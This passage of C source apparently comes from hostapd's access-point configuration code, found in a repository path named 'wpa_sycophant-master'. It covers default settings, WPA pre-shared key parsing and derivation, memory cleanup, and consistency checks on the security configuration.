bss->wpa_pairwise_update_count = 4; bss->wpa_disable_eapol_key_retries = DEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES; bss->wpa_key_mgmt = WPA_KEY_MGMT_PSK; bss->wpa_pairwise = WPA_CIPHER_TKIP; bss->wpa_group = WPA_CIPHER_TKIP; bss->rsn_pairwise = 0; bss->max_num_sta = MAX_STA_COUNT; bss->dtim_period = 2; bss->radius_server_auth_port = 1812; bss->eap_sim_db_timeout = 1; bss->ap_max_inactivity = AP_MAX_INACTIVITY; bss->eapol_version = EAPOL_VERSION; bss->max_listen_interval = 65535; bss->pwd_group = 19; /* ECC: GF(p=256) */ #ifdef CONFIG_IEEE80211W bss->assoc_sa_query_max_timeout = 1000; bss->assoc_sa_query_retry_timeout = 201; bss->group_mgmt_cipher = WPA_CIPHER_AES_128_CMAC; #endif /* CONFIG_IEEE80211W */ #ifdef EAP_SERVER_FAST /* both anonymous and authenticated provisioning */ bss->eap_fast_prov = 3; bss->pac_key_lifetime = 7 * 24 * 60 * 60; bss->pac_key_refresh_time = 1 * 24 * 60 * 60; #endif /* EAP_SERVER_FAST */ /* Set to -1 as defaults depends on HT in setup */ bss->wmm_enabled = -1; #ifdef CONFIG_IEEE80211R_AP bss->ft_over_ds = 1; bss->rkh_pos_timeout = 86400; bss->rkh_neg_timeout = 60; bss->rkh_pull_timeout = 1000; bss->rkh_pull_retries = 4; bss->r0_key_lifetime = 1209600; #endif /* CONFIG_IEEE80211R_AP */ bss->radius_das_time_window = 300; bss->sae_anti_clogging_threshold = 5; bss->sae_sync = 5; bss->gas_frag_limit = 1400; #ifdef CONFIG_FILS dl_list_init(&bss->fils_realms); bss->fils_hlp_wait_time = 30; bss->dhcp_server_port = DHCP_SERVER_PORT; bss->dhcp_relay_port = DHCP_SERVER_PORT; #endif /* CONFIG_FILS */ bss->broadcast_deauth = 1; #ifdef CONFIG_MBO bss->mbo_cell_data_conn_pref = -1; #endif /* CONFIG_MBO */ /* Disable TLS v1.3 by default for now to avoid interoperability issue. * This can be enabled by default once the implementation has been fully * completed and tested with other implementations. */ bss->tls_flags = TLS_CONN_DISABLE_TLSv1_3; } struct hostapd_config * hostapd_config_defaults(void) { #define ecw2cw(ecw) ((1 << (ecw)) - 1) struct hostapd_config *conf; struct hostapd_bss_config *bss; const int aCWmin = 4, aCWmax = 10; const struct hostapd_wmm_ac_params ac_bk = { aCWmin, aCWmax, 7, 0, 0 }; /* background traffic */ const struct hostapd_wmm_ac_params ac_be = { aCWmin, aCWmax, 3, 0, 0 }; /* best effort traffic */ const struct hostapd_wmm_ac_params ac_vi = /* video traffic */ { aCWmin - 1, aCWmin, 2, 3008 / 32, 0 }; const struct hostapd_wmm_ac_params ac_vo = /* voice traffic */ { aCWmin - 2, aCWmin - 1, 2, 1504 / 32, 0 }; const struct hostapd_tx_queue_params txq_bk = { 7, ecw2cw(aCWmin), ecw2cw(aCWmax), 0 }; const struct hostapd_tx_queue_params txq_be = { 3, ecw2cw(aCWmin), 4 * (ecw2cw(aCWmin) + 1) - 1, 0}; const struct hostapd_tx_queue_params txq_vi = { 1, (ecw2cw(aCWmin) + 1) / 2 - 1, ecw2cw(aCWmin), 30}; const struct hostapd_tx_queue_params txq_vo = { 1, (ecw2cw(aCWmin) + 1) / 4 - 1, (ecw2cw(aCWmin) + 1) / 2 - 1, 15}; #undef ecw2cw conf = os_zalloc(sizeof(*conf)); bss = os_zalloc(sizeof(*bss)); if (conf == NULL || bss == NULL) { wpa_printf(MSG_ERROR, "Failed to allocate memory for " "configuration data."); os_free(conf); os_free(bss); return NULL; } conf->bss = os_calloc(1, sizeof(struct hostapd_bss_config *)); if (conf->bss == NULL) { os_free(conf); os_free(bss); return NULL; } conf->bss[0] = bss; bss->radius = os_zalloc(sizeof(*bss->radius)); if (bss->radius == NULL) { os_free(conf->bss); os_free(conf); os_free(bss); return NULL; } hostapd_config_defaults_bss(bss); conf->num_bss = 1; conf->beacon_int = 100; conf->rts_threshold = -1; /* use driver default: 2347 */ conf->fragm_threshold = -1; /* user driver default: 2346 */ conf->send_probe_response = 1; /* Set to invalid value means do not add Power Constraint IE */ conf->local_pwr_constraint = -1; conf->wmm_ac_params[0] = ac_be; conf->wmm_ac_params[1] = ac_bk; conf->wmm_ac_params[2] = ac_vi; conf->wmm_ac_params[3] = ac_vo; conf->tx_queue[0] = txq_vo; conf->tx_queue[1] = txq_vi; conf->tx_queue[2] = txq_be; conf->tx_queue[3] = txq_bk; conf->ht_capab = HT_CAP_INFO_SMPS_DISABLED; conf->ap_table_max_size = 255; conf->ap_table_expiration_time = 60; conf->track_sta_max_age = 180; #ifdef CONFIG_TESTING_OPTIONS conf->ignore_probe_probability = 0.0; conf->ignore_auth_probability = 0.0; conf->ignore_assoc_probability = 0.0; conf->ignore_reassoc_probability = 0.0; conf->corrupt_gtk_rekey_mic_probability = 0.0; conf->ecsa_ie_only = 0; #endif /* CONFIG_TESTING_OPTIONS */ conf->acs = 0; conf->acs_ch_list.num = 0; #ifdef CONFIG_ACS conf->acs_num_scans = 5; #endif /* CONFIG_ACS */ /* The third octet of the country string uses an ASCII space character * by default to indicate that the regulations encompass all * environments for the current frequency band in the country. */ conf->country[2] = ' '; return conf; } int hostapd_mac_comp(const void *a, const void *b) { return os_memcmp(a, b, sizeof(macaddr)); } static int hostapd_config_read_wpa_psk(const char *fname, struct hostapd_ssid *ssid) { FILE *f; char buf[128], *pos; int line = 0, ret = 0, len, ok; u8 addr[ETH_ALEN]; struct hostapd_wpa_psk *psk; if (!fname) return 0; f = fopen(fname, "r"); if (!f) { wpa_printf(MSG_ERROR, "WPA PSK file '%s' not found.", fname); return -1; } while (fgets(buf, sizeof(buf), f)) { line++; if (buf[0] == '#') continue; pos = buf; while (*pos != '\0') { if (*pos == '\n') { *pos = '\0'; break; } pos++; } if (buf[0] == '\0') continue; if (hwaddr_aton(buf, addr)) { wpa_printf(MSG_ERROR, "Invalid MAC address '%s' on " "line %d in '%s'", buf, line, fname); ret = -1; break; } psk = os_zalloc(sizeof(*psk)); if (psk == NULL) { wpa_printf(MSG_ERROR, "WPA PSK allocation failed"); ret = -1; break; } if (is_zero_ether_addr(addr)) psk->group = 1; else os_memcpy(psk->addr, addr, ETH_ALEN); pos = buf + 17; if (*pos == '\0') { wpa_printf(MSG_ERROR, "No PSK on line %d in '%s'", line, fname); os_free(psk); ret = -1; break; } pos++; ok = 0; len = os_strlen(pos); if (len == 64 && hexstr2bin(pos, psk->psk, PMK_LEN) == 0) ok = 1; else if (len >= 8 && len < 64) { pbkdf2_sha1(pos, ssid->ssid, ssid->ssid_len, 4096, psk->psk, PMK_LEN); ok = 1; } if (!ok) { wpa_printf(MSG_ERROR, "Invalid PSK '%s' on line %d in " "'%s'", pos, line, fname); os_free(psk); ret = -1; break; } psk->next = ssid->wpa_psk; ssid->wpa_psk = psk; } fclose(f); return ret; } static int hostapd_derive_psk(struct hostapd_ssid *ssid) { ssid->wpa_psk = os_zalloc(sizeof(struct hostapd_wpa_psk)); if (ssid->wpa_psk == NULL) { wpa_printf(MSG_ERROR, "Unable to alloc space for PSK"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "SSID", (u8 *) ssid->ssid, ssid->ssid_len); wpa_hexdump_ascii_key(MSG_DEBUG, "PSK (ASCII passphrase)", (u8 *) ssid->wpa_passphrase, os_strlen(ssid->wpa_passphrase)); pbkdf2_sha1(ssid->wpa_passphrase, ssid->ssid, ssid->ssid_len, 4096, ssid->wpa_psk->psk, PMK_LEN); wpa_hexdump_key(MSG_DEBUG, "PSK (from passphrase)", ssid->wpa_psk->psk, PMK_LEN); return 0; } int hostapd_setup_wpa_psk(struct hostapd_bss_config *conf) { struct hostapd_ssid *ssid = &conf->ssid; if (ssid->wpa_passphrase != NULL) { if (ssid->wpa_psk != NULL) { wpa_printf(MSG_DEBUG, "Using pre-configured WPA PSK " "instead of passphrase"); } else { wpa_printf(MSG_DEBUG, "Deriving WPA PSK based on " "passphrase"); if (hostapd_derive_psk(ssid) < 0) return -1; } ssid->wpa_psk->group = 1; } return hostapd_config_read_wpa_psk(ssid->wpa_psk_file, &conf->ssid); } static void hostapd_config_free_radius(struct hostapd_radius_server *servers, int num_servers) { int i; for (i = 0; i < num_servers; i++) { os_free(servers[i].shared_secret); } os_free(servers); } struct hostapd_radius_attr * hostapd_config_get_radius_attr(struct hostapd_radius_attr *attr, u8 type) { for (; attr; attr = attr->next) { if (attr->type == type) return attr; } return NULL; } static void hostapd_config_free_radius_attr(struct hostapd_radius_attr *attr) { struct hostapd_radius_attr *prev; while (attr) { prev = attr; attr = attr->next; wpabuf_free(prev->val); os_free(prev); } } void hostapd_config_free_eap_user(struct hostapd_eap_user *user) { hostapd_config_free_radius_attr(user->accept_attr); os_free(user->identity); bin_clear_free(user->password, user->password_len); bin_clear_free(user->salt, user->salt_len); os_free(user); } void hostapd_config_free_eap_users(struct hostapd_eap_user *user) { struct hostapd_eap_user *prev_user; while (user) { prev_user = user; user = user->next; hostapd_config_free_eap_user(prev_user); } } static void hostapd_config_free_wep(struct hostapd_wep_keys *keys) { int i; for (i = 0; i < NUM_WEP_KEYS; i++) { bin_clear_free(keys->key[i], keys->len[i]); keys->key[i] = NULL; } } void hostapd_config_clear_wpa_psk(struct hostapd_wpa_psk **l) { struct hostapd_wpa_psk *psk, *tmp; for (psk = *l; psk;) { tmp = psk; psk = psk->next; bin_clear_free(tmp, sizeof(*tmp)); } *l = NULL; } static void hostapd_config_free_anqp_elem(struct hostapd_bss_config *conf) { struct anqp_element *elem; while ((elem = dl_list_first(&conf->anqp_elem, struct anqp_element, list))) { dl_list_del(&elem->list); wpabuf_free(elem->payload); os_free(elem); } } static void hostapd_config_free_fils_realms(struct hostapd_bss_config *conf) { #ifdef CONFIG_FILS struct fils_realm *realm; while ((realm = dl_list_first(&conf->fils_realms, struct fils_realm, list))) { dl_list_del(&realm->list); os_free(realm); } #endif /* CONFIG_FILS */ } static void hostapd_config_free_sae_passwords(struct hostapd_bss_config *conf) { struct sae_password_entry *pw, *tmp; pw = conf->sae_passwords; conf->sae_passwords = NULL; while (pw) { tmp = pw; pw = pw->next; str_clear_free(tmp->password); os_free(tmp->identifier); os_free(tmp); } } void hostapd_config_free_bss(struct hostapd_bss_config *conf) { if (conf == NULL) return; hostapd_config_clear_wpa_psk(&conf->ssid.wpa_psk); str_clear_free(conf->ssid.wpa_passphrase); os_free(conf->ssid.wpa_psk_file); hostapd_config_free_wep(&conf->ssid.wep); #ifdef CONFIG_FULL_DYNAMIC_VLAN os_free(conf->ssid.vlan_tagged_interface); #endif /* CONFIG_FULL_DYNAMIC_VLAN */ hostapd_config_free_eap_users(conf->eap_user); os_free(conf->eap_user_sqlite); os_free(conf->eap_req_id_text); os_free(conf->erp_domain); os_free(conf->accept_mac); os_free(conf->deny_mac); os_free(conf->nas_identifier); if (conf->radius) { hostapd_config_free_radius(conf->radius->auth_servers, conf->radius->num_auth_servers); hostapd_config_free_radius(conf->radius->acct_servers, conf->radius->num_acct_servers); } hostapd_config_free_radius_attr(conf->radius_auth_req_attr); hostapd_config_free_radius_attr(conf->radius_acct_req_attr); os_free(conf->rsn_preauth_interfaces); os_free(conf->ctrl_interface); os_free(conf->ca_cert); os_free(conf->server_cert); os_free(conf->private_key); os_free(conf->private_key_passwd); os_free(conf->ocsp_stapling_response); os_free(conf->ocsp_stapling_response_multi); os_free(conf->dh_file); os_free(conf->openssl_ciphers); os_free(conf->pac_opaque_encr_key); os_free(conf->eap_fast_a_id); os_free(conf->eap_fast_a_id_info); os_free(conf->eap_sim_db); os_free(conf->radius_server_clients); os_free(conf->radius); os_free(conf->radius_das_shared_secret); hostapd_config_free_vlan(conf); os_free(conf->time_zone); #ifdef CONFIG_IEEE80211R_AP { struct ft_remote_r0kh *r0kh, *r0kh_prev; struct ft_remote_r1kh *r1kh, *r1kh_prev; r0kh = conf->r0kh_list; conf->r0kh_list = NULL; while (r0kh) { r0kh_prev = r0kh; r0kh = r0kh->next; os_free(r0kh_prev); } r1kh = conf->r1kh_list; conf->r1kh_list = NULL; while (r1kh) { r1kh_prev = r1kh; r1kh = r1kh->next; os_free(r1kh_prev); } } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_WPS os_free(conf->wps_pin_requests); os_free(conf->device_name); os_free(conf->manufacturer); os_free(conf->model_name); os_free(conf->model_number); os_free(conf->serial_number); os_free(conf->config_methods); os_free(conf->ap_pin); os_free(conf->extra_cred); os_free(conf->ap_settings); os_free(conf->upnp_iface); os_free(conf->friendly_name); os_free(conf->manufacturer_url); os_free(conf->model_description); os_free(conf->model_url); os_free(conf->upc); { unsigned int i; for (i = 0; i < MAX_WPS_VENDOR_EXTENSIONS; i++) wpabuf_free(conf->wps_vendor_ext[i]); } wpabuf_free(conf->wps_nfc_dh_pubkey); wpabuf_free(conf->wps_nfc_dh_privkey); wpabuf_free(conf->wps_nfc_dev_pw); #endif /* CONFIG_WPS */ os_free(conf->roaming_consortium); os_free(conf->venue_name); os_free(conf->venue_url); os_free(conf->nai_realm_data); os_free(conf->network_auth_type); os_free(conf->anqp_3gpp_cell_net); os_free(conf->domain_name); hostapd_config_free_anqp_elem(conf); #ifdef CONFIG_RADIUS_TEST os_free(conf->dump_msk_file); #endif /* CONFIG_RADIUS_TEST */ #ifdef CONFIG_HS20 os_free(conf->hs20_oper_friendly_name); os_free(conf->hs20_wan_metrics); os_free(conf->hs20_connection_capability); os_free(conf->hs20_operating_class); os_free(conf->hs20_icons); if (conf->hs20_osu_providers) { size_t i; for (i = 0; i < conf->hs20_osu_providers_count; i++) { struct hs20_osu_provider *p; size_t j; p = &conf->hs20_osu_providers[i]; os_free(p->friendly_name); os_free(p->server_uri); os_free(p->method_list); for (j = 0; j < p->icons_count; j++) os_free(p->icons[j]); os_free(p->icons); os_free(p->osu_nai); os_free(p->service_desc); } os_free(conf->hs20_osu_providers); } if (conf->hs20_operator_icon) { size_t i; for (i = 0; i < conf->hs20_operator_icon_count; i++) os_free(conf->hs20_operator_icon[i]); os_free(conf->hs20_operator_icon); } os_free(conf->subscr_remediation_url); os_free(conf->t_c_filename); os_free(conf->t_c_server_url); #endif /* CONFIG_HS20 */ wpabuf_free(conf->vendor_elements); wpabuf_free(conf->assocresp_elements); os_free(conf->sae_groups); #ifdef CONFIG_OWE os_free(conf->owe_groups); #endif /* CONFIG_OWE */ os_free(conf->wowlan_triggers); os_free(conf->server_id); #ifdef CONFIG_TESTING_OPTIONS wpabuf_free(conf->own_ie_override); wpabuf_free(conf->sae_commit_override); #endif /* CONFIG_TESTING_OPTIONS */ os_free(conf->no_probe_resp_if_seen_on); os_free(conf->no_auth_if_seen_on); hostapd_config_free_fils_realms(conf); #ifdef CONFIG_DPP os_free(conf->dpp_connector); wpabuf_free(conf->dpp_netaccesskey); wpabuf_free(conf->dpp_csign); #endif /* CONFIG_DPP */ hostapd_config_free_sae_passwords(conf); os_free(conf); } /** * hostapd_config_free - Free hostapd configuration * @conf: Configuration data from hostapd_config_read(). */ void hostapd_config_free(struct hostapd_config *conf) { size_t i; if (conf == NULL) return; for (i = 0; i < conf->num_bss; i++) hostapd_config_free_bss(conf->bss[i]); os_free(conf->bss); os_free(conf->supported_rates); os_free(conf->basic_rates); os_free(conf->acs_ch_list.range); os_free(conf->driver_params); #ifdef CONFIG_ACS os_free(conf->acs_chan_bias); #endif /* CONFIG_ACS */ wpabuf_free(conf->lci); wpabuf_free(conf->civic); os_free(conf); } /** * hostapd_maclist_found - Find a MAC address from a list * @list: MAC address list * @num_entries: Number of addresses in the list * @addr: Address to search for * @vlan_id: Buffer for returning VLAN ID or %NULL if not needed * Returns: 1 if address is in the list or 0 if not. * * Perform a binary search for given MAC address from a pre-sorted list. */ int hostapd_maclist_found(struct mac_acl_entry *list, int num_entries, const u8 *addr, struct vlan_description *vlan_id) { int start, end, middle, res; start = 0; end = num_entries - 1; while (start <= end) { middle = (start + end) / 2; res = os_memcmp(list[middle].addr, addr, ETH_ALEN); if (res == 0) { if (vlan_id) *vlan_id = list[middle].vlan_id; return 1; } if (res < 0) start = middle + 1; else end = middle - 1; } return 0; } int hostapd_rate_found(int *list, int rate) { int i; if (list == NULL) return 0; for (i = 0; list[i] >= 0; i++) if (list[i] == rate) return 1; return 0; } int hostapd_vlan_valid(struct hostapd_vlan *vlan, struct vlan_description *vlan_desc) { struct hostapd_vlan *v = vlan; int i; if (!vlan_desc->notempty || vlan_desc->untagged < 0 || vlan_desc->untagged > MAX_VLAN_ID) return 0; for (i = 0; i < MAX_NUM_TAGGED_VLAN; i++) { if (vlan_desc->tagged[i] < 0 || vlan_desc->tagged[i] > MAX_VLAN_ID) return 0; } if (!vlan_desc->untagged && !vlan_desc->tagged[0]) return 0; while (v) { if (!vlan_compare(&v->vlan_desc, vlan_desc) || v->vlan_id == VLAN_ID_WILDCARD) return 1; v = v->next; } return 0; } const char * hostapd_get_vlan_id_ifname(struct hostapd_vlan *vlan, int vlan_id) { struct hostapd_vlan *v = vlan; while (v) { if (v->vlan_id == vlan_id) return v->ifname; v = v->next; } return NULL; } const u8 * hostapd_get_psk(const struct hostapd_bss_config *conf, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk) { struct hostapd_wpa_psk *psk; int next_ok = prev_psk == NULL; if (p2p_dev_addr && !is_zero_ether_addr(p2p_dev_addr)) { wpa_printf(MSG_DEBUG, "Searching a PSK for " MACSTR " p2p_dev_addr=" MACSTR " prev_psk=%p", MAC2STR(addr), MAC2STR(p2p_dev_addr), prev_psk); addr = NULL; /* Use P2P Device Address for matching */ } else { wpa_printf(MSG_DEBUG, "Searching a PSK for " MACSTR " prev_psk=%p", MAC2STR(addr), prev_psk); } for (psk = conf->ssid.wpa_psk; psk != NULL; psk = psk->next) { if (next_ok && (psk->group || (addr && os_memcmp(psk->addr, addr, ETH_ALEN) == 0) || (!addr && p2p_dev_addr && os_memcmp(psk->p2p_dev_addr, p2p_dev_addr, ETH_ALEN) == 0))) return psk->psk; if (psk->psk == prev_psk) next_ok = 1; } return NULL; } static int hostapd_config_check_bss(struct hostapd_bss_config *bss, struct hostapd_config *conf, int full_config) { if (full_config && bss->ieee802_1x && !bss->eap_server && !bss->radius->auth_servers) { wpa_printf(MSG_ERROR, "Invalid IEEE 802.1X configuration (no " "EAP authenticator configured)."); return -1; } if (bss->wpa) { int wep, i; wep = bss->default_wep_key_len > 0 || bss->individual_wep_key_len > 0; for (i = 0; i < NUM_WEP_KEYS; i++) { if (bss->ssid.wep.keys_set) { wep = 1; break; } } if (wep) { wpa_printf(MSG_ERROR, "WEP configuration in a WPA network is not supported"); return -1; } } if (full_config && bss->wpa && bss->wpa_psk_radius != PSK_RADIUS_IGNORED && bss->macaddr_acl != USE_EXTERNAL_RADIUS_AUTH) { wpa_printf(MSG_ERROR, "WPA-PSK using RADIUS enabled, but no " "RADIUS checking (macaddr_acl=2) enabled."); return -1; } if (full_config && bss->wpa && (bss->wpa_key_mgmt & WPA_KEY_MGMT_PSK) && bss->ssid.wpa_psk == NULL && bss->ssid.wpa_passphrase == NULL && bss->ssid.wpa_psk_file == NULL && (bss->wpa_psk_radius != PSK_RADIUS_REQUIRED || bss->macaddr_acl != USE_EXTERNAL_RADIUS_AUTH)) { wpa_printf(MSG_ERROR, "WPA-PSK enabled, but PSK or passphrase " "is not configured."); return -1; } if (full_config && !is_zero_ether_addr(bss->bssid)) { size_t i; for (i = 0; i < conf->num_bss; i++) { if (conf->bss[i] != bss && (hostapd_mac_comp(conf->bss[i]->bssid, bss->bssid) == 0)) { wpa_printf(MSG_ERROR, "Duplicate BSSID " MACSTR " on interface '%s' and '%s'.", MAC2STR(bss->bssid), conf->bss[i]->iface, bss->iface); return -1; } } } #ifdef CONFIG_IEEE80211R_AP if (full_config && wpa_key_mgmt_ft(bss->wpa_key_mgmt) && (bss->nas_identifier == NULL || os_strlen(bss->nas_identifier) < 1 || os_strlen(bss->nas_identifier) > FT_R0KH_ID_MAX_LEN)) { wpa_printf(MSG_ERROR, "FT (IEEE 802.11r) requires " "nas_identifier to be configured as a 1..48 octet " "string"); return -1; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211N if (full_config && conf->ieee80211n && conf->hw_mode == HOSTAPD_MODE_IEEE80211B) { bss->disable_11n = 1; wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) in 11b mode is not " "allowed, disabling HT capabilities"); } if (full_config && conf->ieee80211n && bss->ssid.security_policy == SECURITY_STATIC_WEP) { bss->disable_11n = 1; wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) with WEP is not " "allowed, disabling HT capabilities"); } if (full_config && conf->ieee80211n && bss->wpa && !(bss->wpa_pairwise & WPA_CIPHER_CCMP) && !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_CCMP_256 | WPA_CIPHER_GCMP_256))) { bss->disable_11n = 1; wpa_printf(MSG_ERROR, "HT (IEEE 802.11n) with WPA/WPA2 " "requires CCMP/GCMP to be enabled, disabling HT " "capabilities"); } #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_IEEE80211AC if (full_config && conf->ieee80211ac && bss->ssid.security_policy == SECURITY_STATIC_WEP) { bss->disable_11ac = 1; wpa_printf(MSG_ERROR, "VHT (IEEE 802.11ac) with WEP is not allowed, disabling VHT capabilities"); } if (full_config && conf->ieee80211ac && bss->wpa && !(bss->wpa_pairwise & WPA_CIPHER_CCMP) && !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_CCMP_256 | WPA_CIPHER_GCMP_256))) { bss->disable_11ac = 1; wpa_printf(MSG_ERROR, "VHT (IEEE 802.11ac) with WPA/WPA2 requires CCMP/GCMP to be enabled, disabling VHT capabilities"); } #endif /* CONFIG_IEEE80211AC */ #ifdef CONFIG_WPS if (full_config && bss->wps_state && bss->ignore_broadcast_ssid) { wpa_printf(MSG_INFO, "WPS: ignore_broadcast_ssid " "configuration forced WPS to be disabled"); bss->wps_state = 0; } if (full_config && bss->wps_state && bss->ssid.wep.keys_set && bss->wpa == 0) { wpa_printf(MSG_INFO, "WPS: WEP configuration forced WPS to be " "disabled"); bss->wps_state = 0; } if (full_config && bss->wps_state && bss->wpa && (!(bss->wpa & 2) || !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_CCMP_256 | WPA_CIPHER_GCMP_256)))) { wpa_printf(MSG_INFO, "WPS: WPA/TKIP configuration without " "WPA2/CCMP/GCMP forced WPS to be disabled"); bss->wps_state = 0; } #endif /* CONFIG_WPS */ #ifdef CONFIG_HS20 if (full_config && bss->hs20 && (!(bss->wpa & 2) || !(bss->rsn_pairwise & (WPA_CIPHER_CCMP | WPA_CIPHER_GCMP | WPA_CIPHER_CCMP_256 | WPA_CIPHER_GCMP_256)))) { wpa_printf(MSG_ERROR, "HS 2.0: WPA2-Enterprise/CCMP " "configuration is required for Hotspot 2.0 " "functionality"); return -1; } #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO if (full_config && bss->mbo_enabled && (bss->wpa & 2) && bss->ieee80211w == NO_MGMT_FRAME_PROTECTION) { wpa_printf(MSG_ERROR, "MBO: PMF needs to be enabled whenever using WPA2 with MBO"); return -1; } #endif /* CONFIG_MBO */ return 0; } static int hostapd_config_check_cw(struct hostapd_config *conf, int queue) { int tx_cwmin = conf->tx_queue[queue].cwmin; int tx_cwmax = conf->tx_queue[queue].cwmax; int ac_cwmin = conf->wmm_ac_params[queue].cwmin; int ac_cwmax = conf->wmm_ac_params[queue].cwmax; if (tx_cwmin > tx_cwmax) { wpa_printf(MSG_ERROR, "Invalid TX queue cwMin/cwMax values. cwMin(%d) greater than cwMax(%d)", tx_cwmin, tx_cwmax); return -1; } if (ac_cwmin > ac_cwmax) { wpa_printf(MSG_ERROR, "Invalid WMM AC cwMin/cwMax values. cwMin(%d) greater than cwMax(%d)", ac_cwmin, ac_cwmax); return -1; } return 0; } int hostapd_config_check(struct hostapd_config *conf, int full_config) { size_t i; if (full_config && conf->ieee80211d && (!conf->country[0] || !conf->country[1])) { wpa_printf(MSG_ERROR, "Cannot enable IEEE 802.11d without " "setting the country_code"); return -1; } if (full_config && conf->ieee80211h && !conf->ieee80211d) { wpa_printf(MSG_ERROR, "Cannot enable IEEE 802.11h without " "IEEE 802.11d enabled"); return -1; } if (full_config && conf->local_pwr_constraint != -1 && !conf->ieee80211d) { wpa_printf(MSG_ERROR, "Cannot add Power Constraint element without Country element"); return -1; } if (full_config && conf->spectrum_mgmt_required && conf->local_pwr_constraint == -1) { wpa_printf(MSG_ERROR, "Cannot set Spectrum Management bit without Country and Power Constraint elements"); return -1; } for (i = 0; i < NUM_TX_QUEUES; i++) { if (hostapd_config_check_cw(conf, i)) return -1; } for (i = 0; i < conf->num_bss; i++) { if (hostapd_config_check_bss(conf->bss[i], conf, full_config)) return -1; } return 0; } void hostapd_set_security_params(struct hostapd_bss_config *bss, int full_config) { if (bss->individual_wep_key_len == 0) { /* individual keys are not use; can use key idx0 for * broadcast keys */ bss->broadcast_key_idx_min = 0; } if ((bss->wpa & 2) && bss->rsn_pairwise == 0) bss->rsn_pairwise = bss->wpa_pairwise; if (bss->group_cipher) bss->wpa_group = bss->group_cipher; else bss->wpa_group = wpa_select_ap_group_cipher(bss->wpa, bss->wpa_pairwise, bss->rsn_pairwise); if (!bss->wpa_group_rekey_set) bss->wpa_group_rekey = bss->wpa_group == WPA_CIPHER_TKIP ? 600 : 86400; if (full_config) { bss->radius->auth_server = bss->radius->auth_servers; bss->radius->acct_server = bss->radius->acct_servers; } if (bss->wpa && bss->ieee802_1x) { bss->ssid.security_policy = SECURITY_WPA; } else if (bss->wpa) { bss->ssid.security_policy = SECURITY_WPA_PSK; } else if (bss->ieee802_1x) { int cipher = WPA_CIPHER_NONE; bss->ssid.security_policy = SECURITY_IEEE_802_1X; bss->ssid.wep.default_len = bss->default_wep_key_len; if (full_config && bss->default_wep_key_len) { cipher = bss->default_wep_key_len >= 13 ? WPA_CIPHER_WEP104 : WPA_CIPHER_WEP40; } else if (full_config && bss->ssid.wep.keys_set) { if (bss->ssid.wep.len[0] >= 13) cipher = WPA_CIPHER_WEP104; else cipher = WPA_CIPHER_WEP40; } bss->wpa_group = cipher; bss->wpa_pairwise = cipher; bss->rsn_pairwise = cipher; if (full_config) bss->wpa_key_mgmt = WPA_KEY_MGMT_IEEE8021X_NO_WPA; } else if (bss->ssid.wep.keys_set) { int cipher = WPA_CIPHER_WEP40; if (bss->ssid.wep.len[0] >= 13) cipher = WPA_CIPHER_WEP104; bss->ssid.security_policy = SECURITY_STATIC_WEP; bss->wpa_group = cipher; bss->wpa_pairwise = cipher; bss->rsn_pairwise = cipher; if (full_config) bss->wpa_key_mgmt = WPA_KEY_MGMT_NONE; } else if (bss->osen) { bss->ssid.security_policy = SECURITY_OSEN; bss->wpa_group = WPA_CIPHER_CCMP; bss->wpa_pairwise = 0; bss->rsn_pairwise = WPA_CIPHER_CCMP; } else { bss->ssid.security_policy = SECURITY_PLAINTEXT; if (full_config) { bss->wpa_group = WPA_CIPHER_NONE; bss->wpa_pairwise = WPA_CIPHER_NONE; bss->rsn_pairwise = WPA_CIPHER_NONE; bss->wpa_key_mgmt = WPA_KEY_MGMT_NONE; } } } wpa_sycophant-master/src/ap/ap_config.h000066400000000000000000000510321377436615100205310ustar00rootroot00000000000000/* * hostapd / Configuration definitions and helpers functions * Copyright (c) 2003-2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef HOSTAPD_CONFIG_H #define HOSTAPD_CONFIG_H #include "common/defs.h" #include "utils/list.h" #include "ip_addr.h" #include "common/wpa_common.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "wps/wps.h" #include "fst/fst.h" #include "vlan.h" /** * mesh_conf - local MBSS state and settings */ struct mesh_conf { u8 meshid[32]; u8 meshid_len; /* Active Path Selection Protocol Identifier */ u8 mesh_pp_id; /* Active Path Selection Metric Identifier */ u8 mesh_pm_id; /* Congestion Control Mode Identifier */ u8 mesh_cc_id; /* Synchronization Protocol Identifier */ u8 mesh_sp_id; /* Authentication Protocol Identifier */ u8 mesh_auth_id; u8 *rsn_ie; int rsn_ie_len; #define MESH_CONF_SEC_NONE BIT(0) #define MESH_CONF_SEC_AUTH BIT(1) #define MESH_CONF_SEC_AMPE BIT(2) unsigned int security; enum mfp_options ieee80211w; unsigned int pairwise_cipher; unsigned int group_cipher; unsigned int mgmt_group_cipher; int dot11MeshMaxRetries; int dot11MeshRetryTimeout; /* msec */ int dot11MeshConfirmTimeout; /* msec */ int dot11MeshHoldingTimeout; /* msec */ }; #define MAX_STA_COUNT 2007 #define MAX_VLAN_ID 4094 typedef u8 macaddr[ETH_ALEN]; struct mac_acl_entry { macaddr addr; struct vlan_description vlan_id; }; struct hostapd_radius_servers; struct ft_remote_r0kh; struct ft_remote_r1kh; #define NUM_WEP_KEYS 4 struct hostapd_wep_keys { u8 idx; u8 *key[NUM_WEP_KEYS]; size_t len[NUM_WEP_KEYS]; int keys_set; size_t default_len; /* key length used for dynamic key generation */ }; typedef enum hostap_security_policy { SECURITY_PLAINTEXT = 0, SECURITY_STATIC_WEP = 1, SECURITY_IEEE_802_1X = 2, SECURITY_WPA_PSK = 3, SECURITY_WPA = 4, SECURITY_OSEN = 5 } secpolicy; struct hostapd_ssid { u8 ssid[SSID_MAX_LEN]; size_t ssid_len; unsigned int ssid_set:1; unsigned int utf8_ssid:1; unsigned int wpa_passphrase_set:1; unsigned int wpa_psk_set:1; char vlan[IFNAMSIZ 